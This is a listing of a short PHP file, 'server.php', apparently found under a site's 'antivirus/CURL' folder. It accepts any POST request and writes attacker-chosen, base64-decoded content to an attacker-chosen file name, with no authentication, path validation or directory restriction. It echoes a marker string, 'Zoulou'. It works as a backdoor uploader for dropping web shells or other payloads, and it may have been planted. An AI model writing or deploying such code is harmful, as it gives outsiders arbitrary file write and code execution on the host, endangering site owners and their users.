File "server.php"

Full Path: /home/analogde/www/antivirus/CURL/server.php
File size: 450 bytes
MIME-type: text/x-php
Charset: utf-8

<?php
// check if post data is available or not
if (isset($_POST['fileName']) && $_POST['fileData']){

    echo "Zoulou";

    // save uploaded file
    $uploadDir = 'uploads/';
    $uploadDir = '';
    file_put_contents(  $uploadDir. $_POST['fileName'],   base64_decode($_POST['fileData'])
    );
      // done
                  echo "Success";
         } else {
               echo "Error : File not uploaded to remote server.";
        } 
    ?>